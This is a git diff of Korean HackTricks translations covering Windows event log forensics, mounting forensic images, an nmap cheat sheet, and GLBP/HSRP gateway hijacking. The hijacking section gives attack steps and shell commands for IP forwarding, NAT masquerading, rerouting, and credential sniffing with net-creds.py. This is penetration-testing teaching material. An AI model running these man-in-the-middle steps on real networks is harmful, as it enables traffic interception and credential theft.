로그는 Windows Vista 이전에는 `C:\Windows\System32\config`에 있었으며, Windows Vista 이후에는 `C:\Windows\System32\winevt\Logs`에 있습니다. Windows Vista 이전에는 이벤트 로그가 이진 형식이었고, 그 이후에는 **XML 형식**이며 **.evtx** 확장자를 사용합니다.
|
||||
로그는 Windows Vista 이전에는 `C:\Windows\System32\config`에 있었고, Windows Vista 이후에는 `C:\Windows\System32\winevt\Logs`에 있습니다. Windows Vista 이전에는 이벤트 로그가 이진 형식이었고, 그 이후에는 **XML 형식**이며 **.evtx** 확장자를 사용합니다.
|
||||
|
||||
이벤트 파일의 위치는 SYSTEM 레지스트리에서 **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**에서 찾을 수 있습니다.
|
||||
|
||||
Windows 이벤트 뷰어 (**`eventvwr.msc`**) 또는 [**Event Log Explorer**](https://eventlogxp.com)와 같은 다른 도구로 시각화할 수 있습니다. **또는** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
|
||||
Windows 이벤트 뷰어 (**`eventvwr.msc`**) 또는 [**Event Log Explorer**](https://eventlogxp.com) **또는** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**와 같은** 다른 도구로 시각화할 수 있습니다.
|
||||
|
||||
## Windows 보안 이벤트 로깅 이해
|
||||
|
||||
|
@ -429,12 +397,12 @@ Windows 이벤트 뷰어 (**`eventvwr.msc`**) 또는 [**Event Log Explorer**](ht
|
|||
|
||||
- **Interactive (2)**: 직접 사용자 로그인.
|
||||
- **Network (3)**: 공유 폴더 액세스.
|
||||
- **Batch (4)**: 일괄 처리 프로세스 실행.
|
||||
- **Batch (4)**: 일괄 프로세스 실행.
|
||||
- **Service (5)**: 서비스 시작.
|
||||
- **Proxy (6)**: 프록시 인증.
|
||||
- **Unlock (7)**: 비밀번호로 화면 잠금 해제.
|
||||
- **Unlock (7)**: 암호로 화면 잠금 해제.
|
||||
- **Network Cleartext (8)**: IIS에서의 평문 암호 전송.
|
||||
- **New Credentials (9)**: 액세스에 대한 다른 자격 증명 사용.
|
||||
- **New Credentials (9)**: 액세스를 위한 다른 자격 증명 사용.
|
||||
- **Remote Interactive (10)**: 원격 데스크톱 또는 터미널 서비스 로그인.
|
||||
- **Cache Interactive (11)**: 도메인 컨트롤러 연락 없이 캐시된 자격 증명으로 로그인.
|
||||
- **Cache Remote Interactive (12)**: 캐시된 자격 증명으로 원격 로그인.
|
||||
|
@ -444,22 +412,22 @@ Windows 이벤트 뷰어 (**`eventvwr.msc`**) 또는 [**Event Log Explorer**](ht
|
|||
|
||||
- **0xC0000064**: 사용자 이름이 존재하지 않음 - 사용자 이름 열거 공격을 나타낼 수 있습니다.
|
||||
- **0xC000006A**: 올바른 사용자 이름이지만 잘못된 암호 - 암호 추측 또는 무차별 대입 시도가 있을 수 있습니다.
|
||||
- **0xC0000234**: 사용자 계정 잠금 - 여러 번의 실패한 로그인을 따르는 무차별 대입 공격을 나타낼 수 있습니다.
|
||||
- **0xC0000234**: 사용자 계정 잠금 - 다수의 로그인 실패로 인한 무차별 대입 공격을 나타낼 수 있습니다.
|
||||
- **0xC0000072**: 계정 비활성화 - 비활성화된 계정에 대한 무단 액세스 시도가 있을 수 있습니다.
|
||||
- **0xC000006F**: 허용된 시간 외에 로그인 - 설정된 로그인 시간 외에 액세스 시도가 있을 수 있으며, 무단 액세스의 가능성이 있습니다.
|
||||
- **0xC000006F**: 허용된 시간 외 로그인 - 설정된 로그인 시간 외에 액세스 시도가 있을 수 있으며, 무단 액세스의 가능성이 있습니다.
|
||||
- **0xC0000070**: 워크스테이션 제한 위반 - 무단 위치에서 로그인 시도가 있을 수 있습니다.
|
||||
- **0xC0000193**: 계정 만료 - 만료된 사용자 계정으로의 액세스 시도가 있을 수 있습니다.
|
||||
- **0xC0000071**: 암호 만료 - 오래된 암호로의 로그인 시도가 있을 수 있습니다.
|
||||
- **0xC0000133**: 시간 동기화 문제 - 클라이언트와 서버 간의 큰 시간 차이는 티켓 전달과 같은 더 정교한 공격을 나타낼 수 있습니다.
|
||||
- **0xC0000224**: 필수 암호 변경 필요 - 빈번한 필수 변경은 계정 보안을 불안정하게 만들려는 시도를 나타낼 수 있습니다.
|
||||
- **0xC0000133**: 시간 동기화 문제 - 클라이언트와 서버 간의 큰 시간 차이는 패스더티켓과 같은 고급 공격의 징후일 수 있습니다.
|
||||
- **0xC0000224**: 필수 암호 변경 필요 - 빈번한 필수 변경은 계정 보안을 불안정하게 만들려는 시도일 수 있습니다.
|
||||
- **0xC0000225**: 보안 문제가 아닌 시스템 버그를 나타냅니다.
|
||||
- **0xC000015b**: 거부된 로그온 유형 - 사용자가 서비스 로그온을 실행하려고 하는 것과 같은 무단 로그온 유형으로의 액세스 시도가 있을 수 있습니다.
|
||||
- **0xC000015b**: 거부된 로그온 유형 - 사용자가 서비스 로그온을 실행하려고 시도하는 등의 무단 로그온 유형으로의 액세스 시도가 있을 수 있습니다.
|
||||
|
||||
#### EventID 4616:
|
||||
- **시간 변경**: 시스템 시간 수정, 이벤트 타임라인을 혼란스럽게 할 수 있습니다.
|
||||
- **시간 변경**: 시스템 시간 변경, 사건 타임라인을 혼란스럽게 할 수 있습니다.
|
||||
|
||||
#### EventID 6005 및 6006:
|
||||
- **시스템 시작 및 종료**: EventID 6005는 시스템 시작을 나타내고, EventID 6006은 시스템 종료를 표시합니다.
|
||||
- **시스템 시작 및 종료**: EventID 6005는 시스템 시작을 나타내고, EventID 6006은 시스템 종료를 나타냅니다.
|
||||
|
||||
#### EventID 1102:
|
||||
- **로그 삭제**: 불법 활동을 숨기기 위한 보안 로그 삭제.
|
||||
|
@ -476,21 +444,21 @@ EventID 6005은 시스템 시작을 나타내며, EventID 6006은 종료를 표
|
|||
|
||||
보안 EventID 1102는 로그 삭제를 신호하는데, 이는 포렌식 분석에 중요한 이벤트입니다.
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 영월까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **HackTricks 및 HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,15 +4,15 @@
|
|||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>을 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으세요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으세요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**을 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하고 싶으시다면 [hacktricks repo](https://github.com/carlospolop/hacktricks) 및 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**로 PR을 제출하세요.
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고되길 원하시나요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받아보세요
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 **가입**하거나 [텔레그램 그룹](https://t.me/peass)에 **참여**하거나 **트위터**에서 저를 팔로우하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 요령을 공유하고 싶으시다면 [hacktricks repo](https://github.com/carlospolop/hacktricks) 및 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -54,11 +54,11 @@ ewfacquire /dev/sdb
|
|||
#Then use default values
|
||||
#It will generate the disk image in the current directory
|
||||
```
|
||||
## Mount
|
||||
## 마운트
|
||||
|
||||
### 여러 유형
|
||||
|
||||
**Windows**에서는 **포렌식 이미지를 마운트**하기 위해 무료 버전의 Arsenal Image Mounter([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/))를 사용해 볼 수 있습니다.
|
||||
**Windows**에서는 **포렌식 이미지를 마운트**하기 위해 Arsenal Image Mounter의 무료 버전을 사용해 볼 수 있습니다 ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)).
|
||||
|
||||
### Raw
|
||||
```bash
|
||||
|
@ -69,8 +69,6 @@ evidence.img: Linux rev 1.0 ext4 filesystem data, UUID=1031571c-f398-4bfb-a414-b
|
|||
#Mount it
|
||||
mount evidence.img /mnt
|
||||
```
|
||||
### EWF
|
||||
|
||||
### EWF
|
||||
```bash
|
||||
#Get file type
|
||||
|
@ -88,12 +86,12 @@ mount output/ewf1 -o ro,norecovery /mnt
|
|||
```
|
||||
### ArsenalImageMounter
|
||||
|
||||
Windows Application으로 볼륨을 마운트하는 데 사용됩니다. [여기](https://arsenalrecon.com/downloads/)에서 다운로드할 수 있습니다.
|
||||
볼륨을 마운트하는 Windows 응용 프로그램입니다. [여기](https://arsenalrecon.com/downloads/)에서 다운로드할 수 있습니다.
|
||||
|
||||
### 오류
|
||||
|
||||
* **`cannot mount /dev/loop0 read-only`** 이 경우에는 **`-o ro,norecovery`** 플래그를 사용해야 합니다.
|
||||
* **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** 이 경우에는 파일 시스템의 오프셋이 디스크 이미지의 것과 다르기 때문에 마운트에 실패했습니다. 섹터 크기와 시작 섹터를 찾아야 합니다:
|
||||
* **`/dev/loop0을 읽기 전용으로 마운트할 수 없음`** 이 경우 **`-o ro,norecovery`** 플래그를 사용해야 합니다.
|
||||
* **`/dev/loop0에 잘못된 fs 유형, 잘못된 옵션, 잘못된 수퍼블록, 코드 페이지 누락 또는 도우미 프로그램이 없음`** 이 경우 파일 시스템의 오프셋이 디스크 이미지의 것과 다른 경우 마운트에 실패합니다. 섹터 크기와 시작 섹터를 찾아야 합니다:
|
||||
```bash
|
||||
fdisk -l disk.img
|
||||
Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors
|
||||
|
@ -110,18 +108,18 @@ disk.img1 2048 208895 206848 101M 1 FAT12
|
|||
```bash
|
||||
mount disk.img /mnt -o ro,offset=$((2048*512))
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>와 함께 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!</summary>
|
||||
<summary><strong>영웨이 에이더블유에스 해킹을 제로부터 히어로로 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고하고 싶으신가요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받아보세요
|
||||
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**을 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하고 싶으시다면 [hacktricks repo](https://github.com/carlospolop/hacktricks) 및 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**로 PR을 제출하세요.
|
||||
* **사이버 보안 회사에서 일하시나요**? **HackTricks에 귀사의 회사를 광고하고 싶으신가요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드하고 싶으신가요**? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* **💬** [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하시거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요**.
|
||||
* **[hacktricks repo](https://github.com/carlospolop/hacktricks) 및 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**로 PR을 제출하여 귀하의 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,23 +2,22 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고**하거나 **HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## FHRP 해킹 개요
|
||||
|
||||
### FHRP 통찰
|
||||
|
@ -31,7 +30,7 @@ Cisco의 창작물인 GLBP는 TCP/IP 스택에서 작동하며 통신에 UDP 포
|
|||
GLBP는 단일 가상 IP와 여러 가상 MAC 주소를 사용하여 라우터 간에 부하를 분산하는 기능으로 두드러집니다. GLBP 그룹에서 각 라우터는 패킷 전달에 참여합니다. HSRP/VRRP와 달리 GLBP는 다음과 같은 여러 메커니즘을 통해 실제 부하 분산을 제공합니다:
|
||||
|
||||
- **호스트 종속 부하 분산:** 호스트에 일관된 AVF MAC 주소 할당을 유지하여 안정적인 NAT 구성에 필수적입니다.
|
||||
- **라운드 로빈 부하 분산:** 요청하는 호스트 사이에서 AVF MAC 주소 할당을 번갈아가며 사용하는 기본 접근 방식입니다.
|
||||
- **라운드 로빈 부하 분산:** 요청하는 호스트 사이에서 AVF MAC 주소 할당을 번갈아가며 수행하는 기본 접근 방식입니다.
|
||||
- **가중 라운드 로빈 부하 분산:** 미리 정의된 "가중치" 메트릭에 따라 부하를 분배합니다.
|
||||
|
||||
### GLBP의 주요 구성 요소 및 용어
|
||||
|
@ -41,13 +40,13 @@ GLBP는 단일 가상 IP와 여러 가상 MAC 주소를 사용하여 라우터
|
|||
- **GLBP 가중치:** 라우터의 현재 부하를 반영하며, 수동으로 조정하거나 Object Tracking을 통해 조정할 수 있습니다.
|
||||
- **GLBP 가상 IP 주소:** 모든 연결된 장치에 대한 네트워크의 기본 게이트웨이로 작동합니다.
|
||||
|
||||
상호 작용을 위해 GLBP는 예약된 멀티캐스트 주소 224.0.0.102와 UDP 포트 3222를 사용합니다. 라우터는 3초 간격으로 "hello" 패킷을 전송하며, 패킷이 10초 동안 누락되면 비운용 상태로 간주됩니다.
|
||||
상호 작용을 위해 GLBP는 예약된 멀티캐스트 주소 224.0.0.102와 UDP 포트 3222를 사용합니다. 라우터는 3초 간격으로 "hello" 패킷을 전송하며, 패킷이 10초 동안 누락되면 비운영 상태로 간주됩니다.
|
||||
|
||||
### GLBP 공격 메커니즘
|
||||
공격자는 우선 순위 값이 가장 높은(255) GLBP 패킷을 보내어 주 라우터가 될 수 있습니다. 이로 인해 DoS 또는 MITM 공격이 발생할 수 있으며, 트래픽 가로채기 또는 리디렉션이 가능해집니다.
|
||||
|
||||
### Loki를 사용한 GLBP 공격 실행
|
||||
[Loki](https://github.com/raizo62/loki_on_kali)는 우선 순위와 가중치가 255로 설정된 패킷을 주입하여 GLBP 공격을 수행할 수 있습니다. 공격 전 단계는 Wireshark와 같은 도구를 사용하여 가상 IP 주소, 인증 존재 여부 및 라우터 우선 순위 값을 수집하는 것입니다.
|
||||
[Loki](https://github.com/raizo62/loki_on_kali)는 우선 순위와 가중치가 255로 설정된 패킷을 주입하여 GLBP 공격을 수행할 수 있습니다. 공격 전 단계로는 Wireshark와 같은 도구를 사용하여 가상 IP 주소, 인증 존재 여부 및 라우터 우선 순위 값을 수집하는 것이 포함됩니다.
|
||||
|
||||
공격 단계:
|
||||
1. Promiscuous 모드로 전환하고 IP 포워딩을 활성화합니다.
|
||||
|
@ -58,9 +57,9 @@ GLBP는 단일 가상 IP와 여러 가상 MAC 주소를 사용하여 라우터
|
|||
6. 완전한 트래픽 가시성을 위해 SNAT를 구현합니다.
|
||||
7. 원래 AVG 라우터를 통해 계속된 인터넷 액세스를 보장하기 위해 라우팅을 조정합니다.
|
||||
|
||||
이러한 단계를 따라가면 공격자는 네트워크 트래픽을 가로채고 분석할 수 있는 "중간자"로 위치하게 됩니다. 이는 암호화되지 않거나 민감한 데이터를 포함한 네트워크 트래픽을 가로챌 수 있음을 의미합니다.
|
||||
이러한 단계를 따르면 공격자는 "중간자"로 위치하여 암호화되지 않거나 민감한 데이터를 포함한 네트워크 트래픽을 가로채고 분석할 수 있습니다.
|
||||
|
||||
시연을 위해 필요한 명령어 스니펫은 다음과 같습니다:
|
||||
시연을 위해 필요한 명령 스니펫은 다음과 같습니다:
|
||||
```bash
|
||||
# Enable promiscuous mode and IP forwarding
|
||||
sudo ip link set eth0 promisc on
|
||||
|
@ -74,7 +73,7 @@ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
|||
sudo route del default
|
||||
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
|
||||
```
|
||||
### HSRP (Hot Standby Router/Redundancy Protocol)를 이용한 HSRP 하이재킹의 수동 설명과 명령어 세부 정보
|
||||
### HSRP (Hot Standby Router/Redundancy Protocol)를 이용한 HSRP 하이재킹의 수동 설명과 명령어 세부사항
|
||||
|
||||
#### HSRP 개요 (Hot Standby Router/Redundancy Protocol)
|
||||
HSRP는 네트워크 게이트웨이의 여분 시스템을 위한 Cisco 독점 프로토콜입니다. 여러 물리적 라우터를 공유 IP 주소를 가진 단일 논리적 단위로 구성할 수 있습니다. 이 논리적 단위는 트래픽을 관리하는 주 라우터에 의해 관리됩니다. GLBP와 달리 우선순위 및 가중치와 같은 메트릭을 사용하는 대신 HSRP는 트래픽 관리를 위해 단일 활성 라우터에 의존합니다.
|
||||
|
@ -84,13 +83,13 @@ HSRP는 네트워크 게이트웨이의 여분 시스템을 위한 Cisco 독점
|
|||
- **HSRP 대기 라우터**: 활성 라우터가 실패할 경우 대기하여 대체할 백업 라우터.
|
||||
- **HSRP 그룹**: 단일 견고한 가상 라우터를 형성하기 위해 협력하는 라우터 집합.
|
||||
- **HSRP MAC 주소**: HSRP 설정에서 논리적 라우터에 할당된 가상 MAC 주소.
|
||||
- **HSRP 가상 IP 주소**: 연결된 장치를 위한 기본 게이트웨이 역할을 하는 HSRP 그룹의 가상 IP 주소.
|
||||
- **HSRP 가상 IP 주소**: 연결된 장치를 위한 기본 게이트웨이로 작동하는 HSRP 그룹의 가상 IP 주소.
|
||||
|
||||
#### HSRP 버전
|
||||
HSRP에는 HSRPv1과 HSRPv2 두 가지 버전이 있으며 주로 그룹 용량, 멀티캐스트 IP 사용 및 가상 MAC 주소 구조가 다릅니다. 이 프로토콜은 서비스 정보 교환을 위해 특정 멀티캐스트 IP 주소를 활용하며, Hello 패킷은 3초마다 전송됩니다. 10초 간격 내에 패킷을 수신하지 않으면 라우터는 비활성으로 간주됩니다.
|
||||
HSRP에는 HSRPv1과 HSRPv2 두 버전이 있으며 주로 그룹 용량, 멀티캐스트 IP 사용 및 가상 MAC 주소 구조가 다릅니다. 이 프로토콜은 서비스 정보 교환을 위해 특정 멀티캐스트 IP 주소를 활용하며, Hello 패킷은 3초마다 전송됩니다. 10초 간격 내에 패킷을 수신하지 않으면 라우터는 비활성으로 간주됩니다.
|
||||
|
||||
#### HSRP 공격 메커니즘
|
||||
HSRP 공격은 최대 우선순위 값을 주입하여 활성 라우터의 역할을 강제로 인수하는 것을 포함합니다. 이는 중간자 공격을 유발할 수 있습니다. 필수적인 사전 공격 단계에는 HSRP 설정에 대한 데이터 수집이 포함되며, 이는 트래픽 분석을 위해 Wireshark를 사용하여 수행할 수 있습니다.
|
||||
HSRP 공격은 최대 우선순위 값을 주입하여 활성 라우터의 역할을 강제로 인수하는 것을 포함합니다. 이는 중간자 공격을 유발할 수 있습니다. 필수적인 사전 공격 단계는 HSRP 설정에 대한 데이터 수집으로, 이는 트래픽 분석을 위해 Wireshark를 사용하여 수행할 수 있습니다.
|
||||
|
||||
#### HSRP 인증 우회 단계
|
||||
1. HSRP 데이터를 포함하는 네트워크 트래픽을 .pcap 파일로 저장합니다.
|
||||
|
@ -130,4 +129,7 @@ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
|
|||
sudo python2 net-creds.py -i eth0
|
||||
```
|
||||
|
||||
이러한 단계를 실행하면 공격자가 GLBP 하이재킹과 유사한 방식으로 트래픽을 가로채고 조작할 수 있는 위치에 있게 됩니다. 이는 HSRP와 같은 여분 프로토콜의 취약성을 강조하며 견고한 보안 조치의 필요성을 강조합니다.
|
||||
이러한 단계를 실행하면 공격자가 GLBP 하이재킹 절차와 유사하게 트래픽을 가로채고 조작할 수 있는 위치에 있게 됩니다. 이는 HSRP와 같은 여분 시스템 프로토콜의 취약성을 강조하며 견고한 보안 조치의 필요성을 강조합니다.
|
||||
|
||||
## 참고 자료
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* 해킹 요령을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
```
|
||||
|
@ -24,72 +24,72 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
|
|||
|
||||
### 스캔할 IP
|
||||
|
||||
* **`<ip>,<net/mask>`:** 직접 IP를 지정합니다.
|
||||
* **`<ip>,<net/mask>`:** 직접 IP를 나타냄
|
||||
* **`-iL <ips_file>`:** IP 목록
|
||||
* **`-iR <number>`**: 랜덤 IP의 수, `--exclude <Ips>` 또는 `--excludefile <file>`로 제외할 수 있습니다.
|
||||
